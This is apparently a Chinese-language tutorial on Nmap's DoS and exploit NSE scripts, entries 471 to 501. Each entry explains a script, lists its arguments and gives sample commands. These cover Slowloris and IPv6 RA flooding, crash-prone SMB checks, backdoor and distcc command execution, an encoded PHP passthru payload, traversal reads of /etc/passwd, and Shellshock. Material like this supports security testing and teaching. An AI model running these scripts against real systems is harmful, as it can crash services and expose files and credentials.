nmap scanme.nmap.org --script "whois-ip" --script-args "whois.whodb=nocache"
wsdd-discover
已演示过。这里不再演示。
471. xdmcp-discover
请求 XDMCP(X 显示管理器控制协议)会话并列出支持的身份验证和授权机制。
sudo nmap -sU -p 177 --script "xdmcp-discover" ip/域名
xmlrpc-methods
已演示过。这里不再演示。
xmpp-info
已演示过。这里不再演示。
dos(拒绝服务)
此类别中的脚本可能会导致拒绝服务。有时这样做是为了测试拒绝服务方法的漏洞,但更常见的是,这是传统漏洞测试的副作用,虽然不受欢迎,但必不可少。这些测试有时会使易受攻击的服务崩溃。
broadcast-avahi-dos
已演示过。这里不再演示。
472. http-slowloris
通过发起 Slowloris 攻击来测试 Web 服务器是否容易受到 Slowloris DoS 攻击。
RSnake 在 Defcon 17 上描述了 Slowloris(请参阅 http://ha.ckers.org/slowloris/)。
此脚本打开并维持大量“半 HTTP”连接,直到服务器资源耗尽,从而导致拒绝服务。当检测到成功的 DoS 时,脚本会停止攻击并返回以下信息(可能有助于调整进一步的过滤规则):
发生 DoS 所需的时间
使用的套接字数量
发送的查询数量
默认情况下,如果未发生 DoS,脚本将运行 30 分钟。
请注意,必须使用 --max-parallelism 选项定义并发连接数(默认值为 20,建议为 400 或更多)此外,请注意,在某些情况下,此攻击可能会彻底关闭 Web 服务器,而不仅仅是在攻击运行时。
此外,由于操作系统的限制,该脚本在 Windows 上运行时不太可能起作用。
http-slowloris.runforever
指定脚本应永远继续攻击。默认为 false。
http-slowloris.timelimit
指定 DoS 攻击的最大运行时间(默认为 30 分钟)。
http-slowloris.send_interval
发送新的 http 标头数据之前等待的时间,以维持连接。默认为 100 秒。
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
nmap --script "http-slowloris" --max-parallelism 400 192.168.174.145
473. ipv6-ra-flood
生成大量带有随机源 MAC 地址和 IPv6 前缀的路由器通告 (RA)。默认情况下启用无状态自动配置的计算机(每个主要操作系统)将开始计算 IPv6 后缀并更新其路由表以反映已接受的通告。这将导致 Windows 和平台上的 CPU 使用率达到 100%,从而无法处理其他应用程序请求。
易受攻击的平台:
固件版本 < 2010 年 11 月的所有 Cisco IOS ASA
支持 IPv6 的所有 Netscreen 版本
Windows 2000/XP/2003/Vista/7/2008/8/2012
所有 FreeBSD 版本
所有 NetBSD 版本
所有 Solaris/Illumos 版本
安全公告:http://www.mh-sec.de/downloads/mh-RA_flooding_CVE-2010-multiple.txt
警告:此脚本很危险,很可能会导致服务器或网络设备瘫痪。除非您(更重要的是企业)了解风险,否则不应在生产环境中运行它!
其他文档:https://tools.ietf.org/rfc/rfc6104.txt
ipv6-ra-flood.interface
定义我们应该在其上广播的接口
ipv6-ra-flood.timeout
运行脚本,直到达到超时(默认值:30 秒)。如果超时为零,则脚本将永远运行。
nmap -6 --script "ipv6-ra-flood.nse" 192.168.174.145
nmap -6 --script "ipv6-ra-flood.nse" --script-args 'interface=eth0' 192.168.174.145
nmap -6 --script "ipv6-ra-flood.nse" --script-args 'interface=eth0,timeout=10s' 192.168.174.145
474. smb-flood
通过打开尽可能多的连接来耗尽远程 SMB 服务器的连接限制。大多数 SMB 实现对用户帐户的连接数和匿名帐户的连接数都设置了硬性全局限制,分别为 11 个和 10 个。一旦达到该限制,将拒绝进一步的连接。此脚本通过占用并保留所有连接来利用该限制。
这在有效用户帐户下效果更好,因为 Windows 为有效用户保留了一个位置。因此,无论有多少匿名连接占用空间,单个有效用户仍然可以登录。
不建议将此脚本用作通用脚本,因为 a) 它旨在损害服务器并且没有有用的输出,并且 b) 它永远不会结束(直到超时)。
smb-flood.timelimit
脚本应运行的时间量。默认值:30 分钟
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
sudo nmap --script "smb-flood.nse" -p445 ip/域名
sudo nmap -sU -sS --script "smb-flood.nse" -p U:137,T:139 ip/域名
475. smb-vuln-conficker
检测受 Conficker 蠕虫感染的 Microsoft Windows 系统。此检查很危险,可能会导致系统崩溃。
大致基于简单 Conficker 扫描程序,可在此处找到:-- http://iv.cs.uni-bonn.de/wg/cs/applications/containing-conficker/
此检查以前是 smb-check-vulns 的一部分。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
sudo nmap --script "smb-vuln-conficker.nse" -p445 192.168.174.128
sudo nmap -sU --script "smb-vuln-conficker.nse" -p T:139 192.168.174.128
476. smb-vuln-cve2009-3103
检测 Microsoft Windows 系统是否存在拒绝服务漏洞 (CVE-2009-3103)。如果存在漏洞,此脚本将使服务崩溃。
此脚本针对 CVE-2009-3103 中披露的漏洞执行拒绝服务。此脚本可针对 Windows Vista 和某些版本的 Windows 7 执行此操作,如果成功,将导致蓝屏。使用了 http://seclists.org/fulldisclosure/2009/Sep/39 上的概念验证代码,并做了一个小改动。
此检查以前是 smb-check-vulns 的一部分。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
sudo nmap --script "smb-vuln-cve2009-3103.nse" -p445 192.168.174.128
sudo nmap -sU --script "smb-vuln-cve2009-3103.nse" -p U:137,T:139 192.168.174.128
477. smb-vuln-ms06-025
检测 Microsoft Windows 系统中存在易受 MS06-025 攻击的 Ras RPC 服务。
MS06-025 攻击 RasRpcSumbitRequest() RPC 方法,该方法是 RASRPC 接口的一部分,用作配置和从远程访问和路由服务获取信息的 RPC 服务。可以使用“\ROUTER”SMB 管道或“\SRVSVC”SMB 管道(通常在 Windows XP 计算机上)访问 RASRPC。在 RPC 世界中,这称为“ncan_np”RPC 传输。RasRpcSumbitRequest() 方法是一种通用方法,它根据 RequestBuffer 结构(特别是该结构中的 RegType 字段)提供不同的功能。RegType 字段属于枚举 ReqTypes 类型。此枚举类型列出了可以使用 RasRpcSubmitRequest() RPC 方法执行的所有不同可用操作。此漏洞攻击的一个特定操作是 REQTYPE_GETDEVCONFIG 请求,用于获取 RRAS 上的设备信息。
该脚本以前是 smb-check-vulns 的一部分。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
sudo nmap --script "smb-vuln-ms06-025.nse" -p445 ip/域名
sudo nmap -sU --script "smb-vuln-ms06-025.nse" -p U:137,T:139 192.168.174.128
478. smb-vuln-ms07-029
检测 Microsoft Windows 系统中存在易受 MS07-029 攻击的 DNS 服务器 RPC。
MS07-029 针对 R_DnssrvQuery() 和 R_DnssrvQuery2() RPC 方法,它们是 DNS 服务器 RPC 接口的一部分,用作配置和从 DNS 服务器服务获取信息的 RPC 服务。可以使用“\dnsserver”SMB 命名管道访问 DNS 服务器 RPC 服务。当将长字符串作为“zone”参数发送时会触发此漏洞,这会导致缓冲区溢出,从而使服务崩溃。
此检查以前是 smb-check-vulns 的一部分。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
sudo nmap --script "smb-vuln-ms07-029.nse" -p445 ip/域名
sudo nmap -sU --script "smb-vuln-ms07-029.nse" -p U:137,T:139 ip/域名
479. smb-vuln-ms08-067
检测易受远程代码执行漏洞(称为 MS08-067)影响的 Microsoft Windows 系统。此检查很危险,可能会导致系统崩溃。
在 Brandon Enright 进行的一次相当广泛的扫描中,我们发现,平均而言,易受攻击的系统崩溃的可能性比通过检查的可能性更大。在 82 个易受攻击的系统中,有 52 个崩溃。请在运行脚本前考虑这一点。
此检查以前是 smb-check-vulns.nse 的一部分。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
sudo nmap --script "smb-vuln-ms08-067.nse" -p445 192.168.174.128
sudo nmap -sU --script "smb-vuln-ms08-067.nse" -p U:137 192.168.174.128
480. smb-vuln-ms10-054
测试目标机器是否容易受到 ms10-054 SMB 远程内存损坏漏洞的攻击。
易受攻击的机器将因 BSOD 而崩溃。
该脚本至少需要对远程机器上的共享具有读取访问权限。可以使用来宾凭据或指定的用户名/密码。
smb-vuln-ms10-054.share
共享以连接到(默认为 SharedDocs)
unsafe
需要运行脚本“safety swich”以防止意外运行
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
sudo nmap -p 445 192.168.174.128 --script=smb-vuln-ms10-054 --script-args "unsafe"
481. smb-vuln-regsvc-dos
检查 Microsoft Windows 2000 系统是否容易受到 regsvc 崩溃的影响,而这种崩溃是由空指针取消引用引起的。如果服务存在漏洞并且需要来宾帐户或更高级别的权限才能运行,则此检查将导致服务崩溃。
Ron Bowes 在处理 smb-enum-sessions 时发现了此漏洞,并已报告给 Microsoft(案例编号 #MSRC8742)。
此检查以前是 smb-check-vulns 的一部分。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
sudo nmap --script "smb-vuln-regsvc-dos.nse" -p445 192.168.174.128
sudo nmap -sU --script "smb-vuln-regsvc-dos.nse" -p U:137,T:139 192.168.174.128
exploit(利用)
这些脚本旨在主动利用某些漏洞。示例包括 jdwp-exec 和 http-shellshock。
482. afp-path-vuln
检测 Mac OS X AFP 目录遍历漏洞 CVE-2010-0533。
此脚本尝试遍历远程主机上的所有 AFP 共享。对于每个共享,它都尝试通过利用目录遍历漏洞(如 CVE-2010-0533 中所述)来访问父目录。
该脚本报告系统是否存在漏洞。此外,它列出了父目录和子目录的内容,最大深度为 2。在详细模式下运行时,将显示列出的目录中的所有项目。在非详细模式下,输出仅限于前 5 个项目。如果服务器不存在漏洞,则脚本不会返回任何信息。
更多信息:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0533
http://www.cqure.net/wp/2010/03/detecting-apple-mac-os-x-afp-vulnerability-cve-2010-0533-with-nmap
http://support.apple.com/kb/HT1222
afp.password、afp.username
请参阅 afp 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
sudo nmap -sV --script=afp-path-vuln -p548 ip/域名
483. clamav-exec
利用 ClamAV 服务器易受未经身份验证的 clamav 命令执行的影响。
ClamAV 服务器 0.99.2 以及可能的其他早期版本允许在未经身份验证的情况下执行危险的服务命令。具体来说,命令“SCAN”可用于列出系统文件,命令“SHUTDOWN”可关闭服务。此漏洞由 Alejandro Hernandez (nitr0us) 发现。
此脚本不带参数,用于测试命令“SCAN”的可用性。
参考:
https://twitter.com/nitr0usmx/status/740673507684679680
https://bugzilla.clamav.net/show_bug.cgi?id=11585
clamav-exec.scandb
数据库到文件列表。
clamav-exec.cmd
要执行的命令。选项: scan and shutdown(扫描和关闭)
vulns.short、vulns.showall
请参阅 vulns 库的文档。
sudo nmap -sV --script "clamav-exec" -p3310 ip/域名
nmap --script "clamav-exec" --script-args "cmd='scan',scandb='files.txt'" ip/域名
nmap --script "clamav-exec" --script-args "cmd='shutdown'" ip/域名
484. distcc-cve2004-2687
检测并利用分布式编译器守护进程 distcc 中的远程代码执行漏洞。该漏洞于 2002 年披露,但由于服务配置不当,在现代实现中仍然存在。
cmd
在远程服务器上运行的命令
vulns.short, vulns.showall
请参阅 vulns 库的文档。
sudo nmap -p 3632 ip/域名 --script "distcc-cve2004-2687" --script-args="distcc-exec.cmd='id'"
485. ftp-proftpd-backdoor
测试是否存在报告为 BID 45150 的 ProFTPD 1.3.3c 后门。此脚本默认尝试使用无害的 id 命令利用后门,但可以使用 ftp-proftpd-backdoor.cmd 脚本参数进行更改。
ftp-proftpd-backdoor.cmd
在 shell 中执行的命令(默认为 id)。
nmap --script "ftp-proftpd-backdoor" -p 21 192.168.174.132
486. ftp-vsftpd-backdoor
测试 2011-07-04 报告的 vsFTPd 2.3.4 后门 (CVE-2011-2523) 是否存在。此脚本默认尝试使用无害的 id 命令利用后门,但可以使用 exploit.cmd 或 ftp-vsftpd-backdoor.cmd 脚本参数进行更改。
参考:
http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2011-2523
ftp-vsftpd-backdoor.cmd
在 shell 中执行的命令(默认为 id)。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
nmap --script "ftp-vsftpd-backdoor" -p 21 192.168.174.132
487. http-adobe-coldfusion-apsa1301
尝试利用 Adobe Coldfusion 服务器中的身份验证绕过漏洞来检索有效的管理员会话 cookie。
参考:
APSA13-01:http://www.adobe.com/support/security/advisories/apsa13-01.html
http-adobe-coldfusion-apsa1301.basepath
指向administrator.cfc的URI路径。默认值:/CFIDE/adminapi/
slaxml.debug
请参阅slaxml库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅smbauth库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅http库的文档。
sudo nmap -sV --script "http-adobe-coldfusion-apsa1301" ip/域名
nmap -p80 --script "http-adobe-coldfusion-apsa1301" --script-args "basepath=/cf/adminapi/" 192.168.174.132
488. http-avaya-ipoffice-users
尝试枚举 Avaya IP Office 系统 7.x 中的用户。
Avaya IP Office 系统允许未经身份验证访问 URI“/system/user/scn_user_list”,该 URI 返回包含用户信息(例如显示名称、全名和分机号码)的 XML 文件。
已在 Avaya IP Office 7.0(27) 上测试。
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
sudo nmap -p80 --script "http-avaya-ipoffice-users" 192.168.174.145
489. http-awstatstotals-exec
利用 Awstats Totals 1.0 至 1.14 版本以及可能基于它的其他产品中的远程代码执行漏洞 (CVE: 2008-3922)。
可以通过 GET 变量排序来利用此漏洞。该脚本使用 PHP 的 chr() 函数编码的命令有效负载查询 Web 服务器:
?sort={%24{passthru%28chr(117).chr(110).chr(97).chr(109).chr(101).chr(32).chr(45).chr(97)%29}}{%24{exit%28%29}}
Awstats Total 的常用路径:
/awstats/index.php
/awstatstotals/index.php
/awstats/awstatstotals.php
参考:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3922
http://www.exploit-db.com/exploits/17324/
http-awstatstotals-exec.uri
Awstats Totals URI 包括路径。默认:/index.php
http-awstatstotals-exec.cmd
要执行的命令。默认:whoami
http-awstatstotals-exec.outfile
输出文件。如果设置,它会将输出保存在此文件中。
运行此脚本时的其他有用参数:http.useragent - GET 请求中使用的用户代理
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
nmap -sV --script "http-awstatstotals-exec.nse" --script-args 'http-awstatstotals-exec.cmd="uname -a", http-awstatstotals-exec.uri=/awstats/index.php' -p80 192.168.174.132
nmap -sV --script "http-awstatstotals-exec.nse" -p80 192.168.174.145
490. http-axis2-dir-traversal
通过向参数 xsd (BID 40343) 发送特制请求,利用 Apache Axis2 版本 1.4.1 中的目录遍历漏洞。默认情况下,它将尝试使用路径“/axis2/services/”检索 Axis2 服务“/conf/axis2.xml”的配置文件,以返回管理员帐户的用户名和密码。
要利用此漏洞,我们需要检测安装中正在运行的有效服务,因此我们在利用目录遍历漏洞之前从 /listServices 中提取它。默认情况下,它将检索配置文件,如果您希望检索其他文件,则需要正确设置参数 http-axis2-dir-traversal.file 以遍历到文件的目录。例如。 ../../../../../../../../../etc/issue
要检查 Apache Axis2 安装的版本,请转到:http://domain/axis2/services/Version/getVersion
参考:
https://www.securityfocus.com/bid/40343
https://www.exploit-db.com/exploits/12721/
http-axis2-dir-traversal.file
要检索的远程文件
http-axis2-dir-traversal.outfile
输出文件
http-axis2-dir-traversal.basepath
服务页面的基本路径。默认值:/axis2/services/
slaxml.debug
请参阅 slaxml 库的文档。
creds.[service], creds.global
请参阅 creds 库的文档。
http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent
请参阅 http 库的文档。
smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername
请参阅 smbauth 库的文档。
nmap -p80,8080 --script "http-axis2-dir-traversal" --script-args 'http-axis2-dir-traversal.file=../../../../../../../etc/issue' 192.168.174.132
nmap -p80 --script "http-axis2-dir-traversal" 192.168.174.132
491. http-barracuda-dir-traversal
尝试使用 http://seclists.org/fulldisclosure/2010/Oct/119 中描述的目录遍历漏洞从 Barracuda Networks 垃圾邮件和病毒防火墙设备检索配置设置。
此漏洞位于“/cgi-mod/view_help.cgi”或“/cgi-bin/view_help.cgi”的“locale”参数中,允许从 MySQL 数据库转储中检索信息。默认情况下,Web 管理界面在端口 8000 上运行。
Barracuda Networks 垃圾邮件和病毒防火墙 <= 4.1.1.021 远程配置检索 ShadowHatesYou <Shadow@SquatThis.net> 的原始漏洞 有关更多信息,请参阅: http://seclists.org/fulldisclosure/2010/Oct/119 http://www.exploit-db.com/exploits/15130/
http-max-cache-size
设置最大缓存大小。默认值为 100,000。Barracuda 配置文件的大小主要取决于用户数量。对于包含最多 5,000 个用户的配置文件,使用 5,000,000 字节的最大缓存大小应该足够了。
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
sudo nmap --script "http-barracuda-dir-traversal" --script-args "http-max-cache-size=5000000" -p 8000 ip/域名
492. http-coldfusion-subzero
尝试从存在漏洞的 ColdFusion 9 和 10 安装中检索版本、管理面板的绝对路径和文件“password.properties”。
这是基于漏洞“ColdSub-Zero.pyFusion v2”。
http-coldfusion-subzero.basepath
基本路径。默认值:/。
slaxml.debug
请参阅 slaxml 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
nmap -sV --script "http-coldfusion-subzero" -p80 ip/域名
sudo nmap -p80 --script "http-coldfusion-subzero" --script-args "basepath=/cf/" ip/域名
493. http-csrf
此脚本可检测跨站点请求伪造 (CSRF) 漏洞。
它会尝试通过检查每个表单是否包含每个用户的不可预测令牌来检测这些漏洞。如果没有令牌,攻击者可能会伪造恶意请求。
要识别表单中的令牌,脚本将遍历表单的属性并在其名称中搜索常见模式。如果失败,它还将计算每个属性值的熵。熵大意味着可能的令牌。
此脚本的一个常见用例是附带一个 cookie,该 cookie 可在需要身份验证的页面中提供访问权限,因为特权存在于那里。请参阅 http 库的文档以设置您自己的 cookie。
http-csrf.singlepages
包含要检查的表单的页面。例如,{/upload.php, /login.php}。默认值:nil(爬虫模式开启)
http-csrf.checkentropy
如果设置了该选项,脚本还会计算字段值的熵来确定它是否是令牌,而不仅仅是检查其名称。默认值:true
slaxml.debug
请参阅 slaxml 库的文档。
httpspider.doscraping、httpspider.maxdepth、httpspider.maxpagecount、httpspider.noblacklist、httpspider.url、httpspider.useheadfornonwebfiles、httpspider.withindomain、httpspider.withinhost
请参阅 httpspider 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
nmap -p80 --script "http-csrf.nse" ip/域名
494. http-dlink-backdoor
通过将用户代理更改为“秘密”值来检测某些 D-Link 路由器上的固件后门。使用“秘密”用户代理可绕过身份验证并允许管理员访问路由器。
以下路由器型号可能存在漏洞:DIR-100、DIR-120、DI-624S、DI-524UP、DI-604S、DI-604UP、DI-604+、TM-G5240
此外,几款 Planex 路由器似乎也使用相同的固件:BRL-04UR、BRL-04CW
参考:http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
nmap -sV --script "http-dlink-backdoor" 192.168.1.1
495. http-dombased-xss
它会寻找 DOM 中攻击者控制的信息可能被用来以某种方式影响 JavaScript 执行的位置。该攻击的解释如下:http://www.webappsec.org/projects/articles/071105.shtml
http-dombased-xss.singlepages
要测试的页面。例如,{/index.php, /profile.php}。默认值:nil(爬虫模式开启)
slaxml.debug
请参阅 slaxml 库的文档。
httpsspider.doscraping、httpspider.maxdepth、httpspider.maxpagecount、httpspider.noblacklist、httpspider.url、httpspider.useheadfornonwebfiles、httpspider.withindomain、httpspider.withinhost
请参阅 httpspider 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
sudo nmap -p80 --script "http-dombased-xss.nse" ip/域名
496. http-fileupload-exploiter
使用各种技术(例如更改 Content-type 标头或在评论中创建包含有效负载的有效图像文件)来利用 Web 应用程序中不安全的文件上传表单。
http-fileupload-exploiter.fieldvalues
脚本将尝试填充上传表单中找到的每个字段,但由于字段的限制,这可能会失败。您可以使用此表手动填充这些字段。例如,{gender = "male", email = "foo@bar.com"}。默认值:{}
http-fileupload-exploiter.formpaths
包含要利用的表单的页面。例如,{/upload.php, /login.php}。默认值:nil(爬虫模式开启)
http-fileupload-exploiter.uploadspaths
包含上传文件的目录。例如,{/avatars, /photos}。默认值:{'/uploads', '/upload', '/file', '/files', '/downloads'}
slaxml.debug
请参阅 slaxml 库的文档。
httpsspider.doscraping、httpspider.maxdepth、httpspider.maxpagecount、httpspider.noblacklist、httpspider.url、httpspider.useheadfornonwebfiles、httpspider.withindomain、httpspider.withinhost
请参阅 httpsspider 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
nmap -p80 --script "http-fileupload-exploiter.nse" ip/域名
此脚本会发现目标页面上的上传表单,并尝试使用 3 种不同的方法利用它:
1) 首先,它会尝试上传具有不同不安全扩展名的有效负载。这将对抗文件扩展名验证器使用的弱黑名单。
2) 如果 (1) 不起作用,它会尝试上传相同的有效负载,这次使用不同的 Content-type 标头,例如“image/gif”而不是“text/plain”。这将欺骗任何检查 MIME 类型的机制。
3) 如果 (2) 不起作用,它会创建一些包含注释中有效负载的正确 GIF 图像。解释器将看到一些二进制垃圾中的可执行文件。这将绕过对上传文件的实际内容的任何检查。
TODO:
* 使用漏洞库进行报告。
497. http-huawei-hg5xx-vuln
检测华为调制解调器型号 HG530x、HG520x、HG510x(可能还有其他型号……)是否易受远程凭证和信息泄露漏洞的影响。它还会提取 PPPoE 凭证和其他有趣的配置值。
攻击者可以查询 URI“/Listadeparametros.html”和“/wanfun.js”以提取敏感信息,包括 PPPoE 凭证、固件版本、型号、网关、dns 服务器和活动连接等值。
此脚本利用了两个漏洞。一个是由墨西哥地下社区 (http://underground.org.mx) 的 Adiaz 发现和报告的,它允许攻击者提取 pppoe 密码。配置泄露漏洞由 Pedro Joaquin (http://hakim.ws) 发现。
参考文献:
http://websec.ca/advisories/view/Huawei-HG520c-3.10.18.x-information-disclosure
http://routerpwn.com/#huawei
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
nmap -p80 --script "http-huawei-hg5xx-vuln" ip/域名
498. http-litespeed-sourcecode-download
利用 Litespeed Web Servers 4.0.x 4.0.15 之前的版本中的空字节中毒漏洞,通过发送带有空字节和 .txt 文件扩展名的 HTTP 请求来检索目标脚本的源代码(CVE-2010-2333)。
如果服务器不存在漏洞,则会返回错误 400。如果未找到 index.php,您可以尝试 /phpinfo.php,它也随 LiteSpeed Web Server 一起提供。攻击负载如下所示:
/index.php\00.txt
参考:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2333
http://www.exploit-db.com/exploits/13850/
http-litespeed-sourcecode-download.uri
远程文件的 URI 路径
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
nmap -p80 --script "http-litespeed-sourcecode-download" --script-args "http-litespeed-sourcecode-download.uri=/phpinfo.php" ip/域名
sudo nmap -p8088 --script "http-litespeed-sourcecode-download" ip/域名
499. http-majordomo2-dir-traversal
利用 Majordomo2 中存在的目录遍历漏洞来检索远程文件。(CVE-2011-0049)。
该漏洞最初由 Michael Brooks 发现。
有关此漏洞的更多信息:
http://www.mj2.org/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0049
http://www.exploit-db.com/exploits/16103/
http-majordomo2-dir-traversal.rfile
要下载的远程文件。默认值:/etc/passwd
http-majordomo2-dir-traversal.uri
mj_wwwusr 的 URI 路径。默认值:/cgi-bin/mj_wwwusr
http-majordomo2-dir-traversal.outfile
如果设置,则会将远程文件保存到此位置。
您可能希望与此脚本一起使用的其他参数:
http.useragent - 设置用户代理
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
nmap -p80 --script "http-majordomo2-dir-traversal" ip/域名
500. http-phpmyadmin-dir-traversal
利用 phpMyAdmin 2.6.4-pl1(可能还有其他版本)中的目录遍历漏洞来检索 Web 服务器上的远程文件。
参考:
http://www.exploit-db.com/exploits/1244/
http-phpmyadmin-dir-traversal.dir
服务页面的基本路径。默认值:/phpMyAdmin-2.6.4-pl1/
http-phpmyadmin-dir-traversal.file
要检索的远程文件。默认值:../../../../../etc/passwd
http-phpmyadmin-dir-traversal.outfile
输出文件
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short, vulns.showall
请参阅 vulns 库的文档。
nmap -p80 --script "http-phpmyadmin-dir-traversal" --script-args="dir='/pma/',file='../../../../../../../../etc/passwd',outfile='passwd.txt'" ip/域名
nmap -p80 --script "http-phpmyadmin-dir-traversal" ip/域名
501. http-shellshock
尝试利用 Web 应用程序中的“shellshock”漏洞(CVE-2014-6271 和 CVE-2014-7169)。
为了检测此漏洞,脚本执行一个命令,该命令打印一个随机字符串,然后尝试在响应主体中找到它。不打印回信息的 Web 应用程序不会被此方法检测到。
默认情况下,脚本将有效负载注入 HTTP 标头 User-Agent、Cookie 和 Referer 中。
漏洞最初由 Stephane Chazelas 发现。
参考文献:
http://www.openwall.com/lists/oss-security/2014/09/24/10
http://seclists.org/oss-sec/2014/q3/685
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
http-shellshock.uri
URI。默认值:/
http-shellshock.header
请求中使用的 HTTP 标头。默认值:User-Agent
http-shellshock.cmd
发送内部有效负载的自定义命令。默认值:nil
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
sudo nmap -sV -p- --script "http-shellshock" 192.168.174.128
sudo nmap -sV -p- --script "http-shellshock" --script-args "uri=/cgi-bin/bin,cmd=ls" 192.168.174.128
